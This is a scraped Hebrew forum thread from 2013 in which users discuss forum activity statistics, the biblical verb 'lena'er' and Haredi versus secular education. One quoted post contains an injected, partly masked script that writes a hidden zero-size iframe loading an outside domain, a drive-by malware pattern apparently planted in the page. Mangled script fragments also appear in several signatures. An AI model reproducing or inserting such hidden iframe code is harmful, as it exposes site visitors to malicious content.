|
|
| נשלח ב-16/6/2013 19:17 |
 |
| |
מה מרתיח אותך ?
ולמה אתה חושב ששלך טוב יותר ?
|
|
|
|
| נשלח ב-16/6/2013 20:08 |
|
| |
מעניין מאוד. ישר כוח על היוזמה והביצוע. מי פותח את האשכולות? חדשים או ותיקים? יש כמה מובילים או שזה מבוזר יחסית? נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-16/6/2013 22:33 |
|
| |
א. לגבי 'מה קורה עם השנים' -
אם הבנתי נכון ציינת ל 2 תקופות השפל (שלא נבעו ממיעוט חברי פורום פעילים ולא מקיצור באורך ההודעה) ומכך הסקת שזה נובע מאי פתיחת אשכולות. ב. אז ראשית מדוע שלא תבדוק ישירות את הנתון הזה? –כמה אשכולות נפתחו בממוצע לחודש לאורך כל ציר הזמן? במקום לפלפל תביא את הנתון עצמו.
לגבי אורך ההודעות, ייתכן שעם התארכות חיי הפורום רבים מחברי הפורום מפנים בתגובתם לאשכול אחר שכבר דן בנושא ו\או שכבר הגיבו בה.
נקודות נוספות שמענין לבדוק זה 1. כמה ניקים משתתפים בדיון בממוצע? 2. כמה תגובות חוזרות של אותו הניק יש בממוצע באשכול (חוץ מתגובות 'פותח האשכול). 3. התפלגות ניקים פעילים במשך השנים –מה אורך חייו של ניק?. 4. הצטרפות ניקים לפורום. התפלגות. האם ניתן לקשור בין אירועים מסוימים לניקים שהצטרפו? למשל האם הצטרפותם של ניקים מסוימים גרמו לגל ניקים לפורום? 5. האם המאבק החרדי נגד האינטרנט גרם לניקים לפרוש מבחינה סטטיסטית? הייתי שמח אם תסביר איך, או תעלה לאתר את, המנוע עימו חושפים את הממצאים.
|
|
|
|
| נשלח ב-16/6/2013 23:11 |
|
| |
יהי ובעל
איקון ירוק ביותר על ההברקה הנאה מאד.
***
שיבולייהו
תודה על העבודה הרבה והמושקעת. כמנהל לשעבר וכמי שיש לו אינטרס רב בפורום גם בהווה, אני סבור שפיתחת כלי שיכול למקד את תשומת ליבם של המנהלים ומנהלי המשנה בתקופות שבהן יש להשקיע ובמה להשקיע.
***
קרדיולוג
ברוך הבא לפורום!
איני יודע אם לכך התכוונת, אבל תרמת מונח נאה מאד. "לנאר" מלשון נאורות את הדת. ומה רע בזה? האם לא כדאי לקדם את המצב שבו יאמרו כל הגויים: אך עם חכם ונבון העם זה עם תורתו?
***
זאב וכולם
הרושם שלי מן המגיעים לפורום ונשארים בו תקופה, שיש כאלו שעבורם זה כמין לימוד בישיבה או בקולג' וירטואלי. הם משקיעים חודשים או אפילו כמה שנים, משתתפים, מעלים נושאים כלומר פותחים אשכולות, מגיעים לתובנות, ובסופו של דבר פונים לחייהם הלא וירטואליים, ויש לקוות: עשירים וחכמים וזהירים יותר.
אם השערתי נכונה, וזה מה שהפורום תורם להם, אזי יש לצפות שמשתתפים כאלו לא ישתתפו יותר מאשר שלוש עד ארבע שנים, ולפעמים שנתיים או שנה, עד שימצו את מה שהם חשים שהם יכולים לקבל, ואחר כך ההתקדמות תהיה שולית או כלל לא קיימת.
כמובן ייתכנו כאלו שיישארו על מנת לתרום גם להבא, כמו ר"מים בישיבה או פרופסורים באוניברסיטה, אלא שהם עושים זאת במשרה חלקית ובהתנדבות. סמיילי. (קח לדוגמא פרופסורים אמיתיים כמו נדב שנרב או מיכי שלנו, שמגיחים מפעם לפעם כדי לתרום אבל אינם יכולים להתחייב ליותר מזה).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-17/6/2013 00:17 |
|
| |
| מיימוני כתב: |  |
...
קרדיולוג
ברוך הבא לפורום!
איני יודע אם לכך התכוונת, אבל תרמת מונח נאה מאד. "לנאר" מלשון נאורות את הדת. ומה רע בזה? האם לא כדאי לקדם את המצב שבו יאמרו כל הגויים: אך עם חכם ונבון העם זה עם תורתו?
...
|
|
רק הערה לשונית: הפועל "לנאר" כבר קיים בעברית, במשמעות אחרת, ולמי ששכח - שיפתח מגילת איכה ויזכר.
|
|
|
|
| נשלח ב-17/6/2013 07:40 |
|
| |
אני פותר את חידתו של מואדיב.
איכה פרק ב
(ז) זָנַח אֲדֹנָי מִזְבְּחוֹ נִאֵר מִקְדָּשׁוֹ הִסְגִּיר בְּיַד־אוֹיֵב חוֹמֹת אַרְמְנוֹתֶיהָ קוֹל נָתְנוּ בְּבֵית־יְדֹוָד כְּיוֹם מוֹעֵד: ס
ויש עוד!
באדיבות פרוייקט השות שליטא:
מלאכי פרק ג
(ט) בַּמְּאֵרָה אַתֶּם נֵאָרִים וְאֹתִי אַתֶּם קֹבְעִים הַגּוֹי כֻּלּוֹ:
וגם
תהלים פרק פט
(מ) נֵאַרְתָּה בְּרִית עַבְדֶּךָ חִלַּלְתָּ לָאָרֶץ נִזְרוֹ:
תירגום לעברית בת זמננו:
[אכדית: naru הרג; ערבית: נַאוַרַ חירף וגידף] פִּעֵל נִאֵר (פ"י) חִלֵּל, בִּזָּה: "נֵאַרְתָּה בְּרִית עַבְדֶּךָ, חִלַּלְתָּ לָאָרֶץ נִזְרוֹ" (תהילים פט מ). "זָנַח ה' מִזְבְּחוֹ, נִאֵר מִקְדָּשׁוֹ" (איכה ב ז). "עֲזָרוֹת וְאֵילַמּוֹת עַד אָנָה תְּנָאֵר?" (סידור רס"ג, שלא). [לְנָאֵר אֶת-, מְנָאֵר, יְנָאֵר] הִפְעִיל הִנְאִירב (פ"י) הָרַס, הִשְׁחִית: "בּוֹלְלִים לְהַנְאִירִי יְהִירִים שְׁאֵלוּנִי עֵת כָּרְתוּ יַעֲרִי" (גנזי שכטר, ג 78). [לְהַנְאִיר, מַנְאִיר, יַנְאִיר] הֻפְעַל הֻנְאַרב, הֻשְׁחַת: "יְפֵה-נוֹף הֻכְאַר וְהֻבְעַר וְהֻנְאַר, מִזְבֵּחַ עֻרְעַר" (ייני, קכח). [מֻנְאָר, יֻנְאַר] יתכן שזה השימוש הלשוני שקרדיולוג כיוון אליו.
אבל מה עשיתי אני?
הוספתי משמעות נוספת!
שפה היא דבר חי ומתפתח.
כפי שצצות משמעויות חדשות ומילים משתנות, כך אפשר לעשות זאת באופן מודע ומכוון.
וזה מה שעשיתי.
יתכן שקרדיולוג התכוון לקלל (במובן של קלון) אבל אני עשיתי אותו למברך. מואדיב הזכיר את המשמעות הישנה והמקורית של הפועל נ.א.ר. אני הענקתי לו חיים חדשים והפכתי אותו לטובה.
מה יותר טוב?
תחי המקוריות. לפעמים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-17/6/2013 07:41 |
|
| |
ההעתקה לא היתה שלימה ולא נזכר שמו של מילון אבן שושן על הפירושים שהבאתי. אז הנה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-18/6/2013 02:06 |
|
| |
| מיימוני כתב: | | אני פותר את חידתו של מואדיב.
איכה פרק ב
(ז) זָנַח אֲדֹנָי מִזְבְּחוֹ נִאֵר מִקְדָּשׁוֹ הִסְגִּיר בְּיַד־אוֹיֵב חוֹמֹת אַרְמְנוֹתֶיהָ קוֹל נָתְנוּ בְּבֵית־יְדֹוָד כְּיוֹם מוֹעֵד: ס
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
|
|
אפרופו משחקי מילים (pun is fun!) ניתן להבריג בפסוק את מה שעושים כאן
זנח אדני את הפגאניזם של הקרבנות, ועשה את מקדשו נאור יותר -(מקדש שבלב, בתי כנסת כבית מקדש מעט וכיו"ב הפשטות), הסגיר ביד אויבים (רציונליסטים בימי הביניים) את הטקסטים הפגאנים-לכאורה שיעשו בהם ככל העולה על רוחם (זה לא באמת, זה רק בכאילו, וכיו"ב)
|
|
|
|
| נשלח ב-18/6/2013 07:41 |
|
| |
רציוסקפטי
יפה כתבת!
באמת נראה שחורבן המקדש הוא היה באיזה אופן הגורם שהרחיק את עם ישראל מעבודת האלילים המעשית של פסלים וכיו"ב. שוב איננו מוצאים עבודה זרה במובן שהנביאים זעקו נגדו עם שיבת עם ישראל לארץ - אם כי לצערנו אמונות הבל ומעשים מגיים נותרו גם נותרו, והיום הם גם נקלטו כל כך עד שחלקם מוצגים כמצוה...
אני מערער רק על סוף דבריך. הרציונליסטים ותלמידי החכמים שנאמנים למונותיאיזם נוסח הרמב"ם אינם מפרשים את הפסוקים באופן מלאכותי ושרירותי אלא בהתאם לערכים ולתכנים שאמורים להיות כפויים עלינו בשל נכונותם, בדיוק כפי שהתוצאות של תרגילי האריתמטיקה כפויות עלינו (ויש כמובן מקום לדון בהשוואה הזו ולהצדיק אותה).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-18/6/2013 12:45 |
|
| |
עשה לי רע לקרוא את האמירות השנונות שלכם.
שיבולת, אתה בעצם ממנה את עצמך לסוג של שומר,
דואג שלא תהיה הקצנה מידי, שלא נהיה רדודים מידי ושנתפכח כמה שיותר מהר.
הפלורליזם, הסקרנות, אהבת הידע ואהבת האדם רחוקים ממך והלאה, המניעים שלך שליליים במהותם.
וחבל, אפילו מאד.
לכל השאר- אולי הגיע הזמן גם לנתח את החיובי שבהשקפה האורתודוקסית את התרומה שלה לחיים מלאי עניין, מוסריים, רוחניים ועמוקים.
נכון, יש הרבה מה לנסות לנתח, לשנות (?) ולבקר,
אבל יש גם כל כך הרבה יופי ויתרונות שבעצם בגללם אנחנו עדיין איפה שאנחנו,
וכדאי לזכור ולהזכיר גם אותם.
|
|
|
|
| נשלח ב-18/6/2013 17:45 |
|
| |
אמאי
שבולת לא התכחש שמה שמעניין אותו הוא צלחתו
|
|
|
|
|
| נשלח ב-18/6/2013 21:34 |
|
| |
אם באמת נבחן את התוצאות בשטח .
אני בטוח שמי שיש לו את האומץ לראות את הדברים יסכים שהחינוך החרדי בוכיח את עצמו הרבה יותר מכל חינוך אחר .
על אף שגם שם יש חסרונות או דברים שעל כל פנים צריכים שיפור ותיקון .
עדיין לא נמצא לזה מחליף ראוי והוגן עם כל מה שזה כולל .
החינוך החילוני החולני פושט את הרגל למול עינינו .
נכון שיש שם כמה משכילים ויודעי מקצוע אך זה לא ממלא להם את הנפש ולא נותן תחושת סיפוק פנימית אמיתית .
|
|
|
|
| נשלח ב-18/6/2013 21:40 |
|
| |
אייזין
לפני מאתים שנה, עם ישראל רובו היה חרדי.
בעקבות החינוך החרדי נשרו תשעים אחוז, על איזו הצלחה אתה מדבר?
|
|
|
|
| נשלח ב-18/6/2013 22:14 |
|
| |
| בעלבעמיו כתב: | | אייזין
לפני מאתים שנה, עם ישראל רובו היה חרדי.
בעקבות החינוך החרדי נשרו תשעים אחוז, על איזו הצלחה אתה מדבר? |
|
לא שיש לי עניין לסנגר על ההוויה החרדית בדווקא,
רק מבחינה לוגית -
ההשוואה שלך אינה מתאימה, אין שום אינדיקציה לכך שחברה בסגנון מזרחניקי הייתה חסינה יותר לפגעי ההשכלה.
ההשוואה הנכונה היא באותם תנאים והחברה המזרחניקית היום בשל פתיחותה פחות חסינה מהחברה החרדית.
|
|
|
|
| נשלח ב-18/6/2013 22:18 |
|
| |
איזין
ההשואה בין החינוך החרדי לחילוני היא לא כל כך רלונטית, כי אחרי הכל מי שלא מאמין באורח חיים חרדי, ככזה שמבטיח עולם הבא, לא ירצה לותר על חיי חילוניות, אם תקח בהשואה חיי חרדי לחיי חילוני, יש הרבה מעלות בחיי חילוני, בודאי ביחס לחרדי, ביחס לדתי, זה שונה.
כשאלישע בן אבויה שמע שאין לו תקנה, כתוב שהוא אמר בוא נהנה בעולם הזה, והוא הלך לזונה, כמבואר בגמ', זה אומר שבלי חיי העולם הבא הוא החליט שעדיף לו למצות את כל ההנאה מחיי העולם הזה.
אדם שלא מאמין בעולם הבא בחיים לא ירצה לחיות כחרדי, זה באמת יהיה אומללות בשבילו.
|
|
|
|
|
